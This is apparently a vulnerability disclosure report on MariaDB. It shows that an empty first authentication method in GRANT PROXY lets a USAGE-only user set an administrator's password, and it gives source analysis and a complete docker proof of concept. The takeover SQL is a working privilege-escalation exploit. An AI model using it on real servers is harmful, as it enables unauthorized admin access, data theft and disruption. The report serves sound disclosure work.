MariaDB · Report #3876430
MariaDB GRANT PROXY permits unauthorized authentication changes and administrator account takeover
How it was found
An authenticated MariaDB user with only USAGE ON *.* can change the password of an existing administrator through the grantee clause of GRANT PROXY.
GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
The empty first authentication method bypasses the authorization check, while the second method is still stored. The attacker can then log in as proof_admin using the chosen password and inherit its existing DBA privileges.
The attacker does not need ALTER USER, CREATE USER, access to the mysql schema, or an existing PROXY grant. The exact target user@host must already exist and must match the attacker's new connection.
Tested on MariaDB 12.3.2 and the repository's 13.1.0 build.
Technical Details
All source links below are pinned to MariaDB/server commit 7322a6656a5357b4574b7413493c76ba2fc41f84.
GRANT PROXY uses the generic grant_list grammar. Its grant_user and auth_expression rules allow IDENTIFIED BY and multi-authentication clauses on grantees.
MariaDB permits a user to grant PROXY access on its own identity in acl_check_proxy_grant_access(). Because the ON account is usage_user@%, the low-privilege caller passes this check and reaches the grantee update code.
Before changing an existing grantee, copy_and_check_auth() relies on LEX_USER::has_auth() to decide whether check_alter_user() is required:
return auth &&
(auth->plugin.length || auth->auth_str.length || auth->pwtext.length);
has_auth() checks only the first authentication node. When that node is empty, it returns false and MariaDB skips check_alter_user().
The persistence path behaves differently. replace_user_table() iterates and stores every authentication node:
for (USER_AUTH *auth= combo->auth; auth; auth= auth->next)
nauth++;
Therefore an empty first node suppresses authorization, while a nonempty second node installs an attacker-controlled password on the existing administrator account. The account's original privileges are preserved.
Step to Reproduce
Run this only against a disposable container.
Step 1. Start MariaDB
docker run --rm -d \
--name mariadb-proxy-poc \
-p 127.0.0.1:13306:3306 \
-e MARIADB_ROOT_PASSWORD='LabRoot-2026' \
mariadb:12.3.2
until docker exec mariadb-proxy-poc \
mariadb-admin -uroot -p'LabRoot-2026' ping >/dev/null 2>&1; do
sleep 1
done
{F6286848}
Step 2. Create the accounts
docker exec mariadb-proxy-poc \
mariadb -uroot -p'LabRoot-2026' -e "
CREATE USER 'usage_user'@'%'
IDENTIFIED BY 'UsagePassword-2026';
GRANT USAGE ON *.* TO 'usage_user'@'%';
CREATE USER 'proof_admin'@'%'
IDENTIFIED BY 'OriginalAdminPassword-2026';
GRANT ALL PRIVILEGES ON *.*
TO 'proof_admin'@'%' WITH GRANT OPTION;
"
{F6286849}
Step 3. Trigger the bug as the USAGE-only user
docker exec mariadb-proxy-poc \
mariadb --protocol=tcp -h127.0.0.1 \
-uusage_user -p'UsagePassword-2026' -e "
SHOW GRANTS;
GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
"
The statement succeeds even though usage_user has only USAGE.
{F6286850}
Step 4. Log in with the injected administrator password
docker exec mariadb-proxy-poc \
mariadb --protocol=tcp -h127.0.0.1 \
-uproof_admin -p'AttackerChosen-2026' -e "
SELECT CURRENT_USER();
SHOW GRANTS;
CREATE DATABASE proxy_takeover_proof;
"
Expected result: CURRENT_USER() is proof_admin@%, its original DBA grants remain present, and database creation succeeds.
{F6286851}
Step 5. Cleanup
docker stop mariadb-proxy-poc
Impact
A USAGE-only user can take over a known, reachable administrator account and obtain its existing DBA privileges. This can allow reading or modifying databases, creating users, granting privileges, changing server settings, and disrupting the service.